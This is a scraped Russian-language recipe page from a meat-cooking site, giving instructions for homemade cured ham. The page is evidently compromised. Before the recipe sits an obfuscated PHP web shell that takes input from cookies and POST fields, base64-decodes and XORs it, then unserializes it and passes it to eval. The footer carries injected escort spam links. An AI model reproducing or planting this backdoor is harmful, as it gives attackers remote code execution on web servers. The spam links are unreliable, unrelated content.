$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Ветчина домашняя • Meat Review

Ветчина домашняя

Перейти в режим чтения
Распечатать
0 0
Ветчина домашняя

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:
  • 3h
  • Средне

Инструкция

Поделиться

Очень простой и в то же время яркий и вкусный продукт.
Себестоимость просто несоизмерима с магазинной. Ради интереса посчитал: килограмм готовой ветчины обошелся мне в 3 евро, когда в продаже цена варьировалась от 9 до 18 евро за кг. Про качество и уверенность в ингредиентах можно не упоминать.
Мякоть свиной лопатки 1 кг.
Перец черный 0,2%
Соль нитритная 2%
Сахар 0,3%
Вода (бульон) 8%
Мясо режем кубиками по 1,5-2 см. Соль, сахар растворяем в воде и тщательно перемешиваем с мясом, до впитывания жидкости. Теперь в контейнер и в холодильник на 3 суток.
После чего вмешиваем перец (рекомендую крупно подавить горошек перед самым использованием) и снова вымешиваем до сильной липкости. Набиваем массу в ветчинницу, закрываем с гнетом и оставляем на 3-4 часа при комнатной температуре нагреться и утрамбоваться.
Теперь в горячую воду 80-85С на 2 часа. Температура воды должна все время быть в указанных пределах.
После приготовления ветчинницу сразу опустить в холодную воду и дать остыть пару часов, потом в холодильник до утра.
¡Buen provecho!

(Visited 2 120 times, 1 visits today)

Stanislav

обратно
Колбаса сырокопченая
далее
Стейк в домашних условиях
обратно
Колбаса сырокопченая
далее
Стейк в домашних условиях

Похожие рецепты

There are no comments yet

× You need to log in to enter the discussion

    MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

    escort Muğla
    Aydın Escort bayan
    Çanakkale Escort
    escort bayan balıkesir

    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close